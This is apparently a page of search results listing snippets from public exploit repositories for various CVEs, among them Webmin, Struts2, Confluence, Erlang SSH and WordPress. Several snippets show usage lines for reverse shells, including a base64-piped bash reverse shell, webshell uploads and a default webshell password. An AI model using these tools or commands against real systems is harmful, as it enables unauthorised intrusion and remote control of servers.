57201 matches found
webmin_cve-2019-12840_poc
webmincve-2019-12840poc A standalone POC for CVE-2019-12840. Below will send back a reverse shell on port 443 $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | |...
CVE-2025-49132-poc
CVE-2025-49132-poc I made this poc for CVE-2025-49132, as it was interesting to make and it's part of a challenge over at my cyber platform deepreview ! This CVE takes advantage of a file inclusion vulnerability that can be escalated to a Remote Code Execution with the pearcmd.php script. This is...
1Panel-CVE-2025-54424-
CVE-2025-54424 CVE-2025-54424：1Panel Client Certificate Bypass RCE Vulnerability All-in-One Tool Scan + Exploit Vulnerability Overview 1Panel is an open-source, modern Linux operation and maintenance panel that provides a graphical interface for deploying websites, managing servers, and running...
cve-2022-29464
cve-2022-29464 Disclaimer 脚本仅供学习参考，请勿恶意攻击他人网站 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 Usage usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp Direct command execution available Webshell...
CVE-2024-24590
ClearML Exploit This repository contains a proof-of-concept exploit for a deserialization vulnerability in ClearML, allowing for remote command execution. This exploit demonstrates how to upload a malicious pickle artifact to ClearML to gain a reverse shell. Prerequisites Before you begin, ensure...
CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version
CVE-2023-4596 PoC Script for CVE-2023-4596, An efficient Python tool created to perform unauthenticated Remote Command Execution via arbitrary file uploads. Resources Installation Usage Usage Installation git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Versio...
Sangfor-CVE-2025-12916
Sangfor-CVE-2025-12916 Sangfor CVE-2025-12916 Remote Command Execution Vulnerability Batch Detection Tool || Author: Jinxia Security Sangfor OSM Vulnerability Batch Detection Tool A batch detection tool for the CVE-2025-12916 remote command execution vulnerability in Sangfor Operation and...
CVE-2020-17530-s2-061
CVE-2020-17530-s2-061 s2-061 graphical interface exploit, only for fun and practice Usage python CVE-2020-17530.py Fill in target address Fill in the system command to execute Click Execute PS: The exploit includes a reverse shell function, but I was too lazy to add the corresponding buttons and...
Erlang-OTP-PoC_CVE-2025-32433
Erlang/OTP SSH Pre-Authentication Channel Confusion 📺 Proof of Concept Video Description: A demonstration of the Erlang/OTP SSH Pre-Authentication Channel Confusion vulnerability. Click here to watch the full demo on YouTube Abstract What is this PoC about? This Proof of Concept demonstrates...
evil-winrm-py
evil-winrm-py evil-winrm-py is a python-based tool for executing commands on remote Windows machines using the WinRM Windows Remote Management protocol. It provides an interactive shell with enhanced features like file upload/download with progress and checksum verification, tab-completion of...
Apache Spark UI - Remote Command Injection
Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...
Variatype.htb-CVE-2025-66034
Hackthebox Season 10 - Variatype This script will get you initial access. First, Install required modules using pip pip3 install -r requirements.txt Usage python3 exploit.py 'id' or python3 exploit.py 'echo BASE64ENCODEDREVSHELL | base64 -d | bash'...
CVE-2021-29003
CVE-2021-29003 https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/ Exploit db https://www.exploit-db.com/exploits/49764 medium https://sharmajijvs.medium.com/how-i-got-my-first-cve-af2c3009e409 Unit 42 palo alto networks...
CVE-2022-1388
CVE-2022-1388 https://support.f5.com/csp/article/K23605346 This vulnerability may allow an unauthenticated attacker to gain network access to BIG-IP systems through the management port and/or their own IP addresses to execute arbitrary system commands, create or delete files, or disable services...
Struts2-045-Exp
Struts2 S2-045 CVE-2017-5638 Exp Tools Exp Function: Command Execute Get Target Website's Physical Path File Upload Getshell Default Webshell For Chopper Support HTTP/HTTPS Support URL With Any Port Note: Default Webshell's Password is s2045@exp Notice The Project Is Intended For...
OpenSMTPD-CVE-2020-7247-
OpenSMTPD Remote Command Execution Vulnerability CVE-2020-7247 WHS 4th Park Solmin Original link: https://github.com/vulhub/vulhub/blob/43eae7170d09e7748c3aac64cd6a8e5af508a8ef/opensmtpd/CVE-2020-7247/README.md Overview OpenSMTPD is an SMTP server program used on Unix-like operating systems. It c...
CVE-2022-26134_conFLU
CVE-2022-26134 - conFLU PoC for exploiting CVE-2022-26134 on Atlassian Confluence Exploit Usage python3 conFLU.py -h Usage: conFLU.py -h -u URL -f F -cmd CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD...
CVE-2011-1571
CVE-2011-1571 Summary Unspecified vulnerability in the XSL Content portlet in Liferay Portal Community Edition CE 5.x and 6.x before 6.0.6 GA, when Apache Tomcat is used, allows remote attackers to execute arbitrary commands via unknown vectors. CVE Detail :...
wp2shell
wp2shell Pre-authentication remote code execution for WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1. Chains CVE-2026-63030 batch route confusion SQLi with CVE-2026-60137 customizer changeset re-entry to achieve unauthenticated administrator creation and OS command execution. No password cracking required...
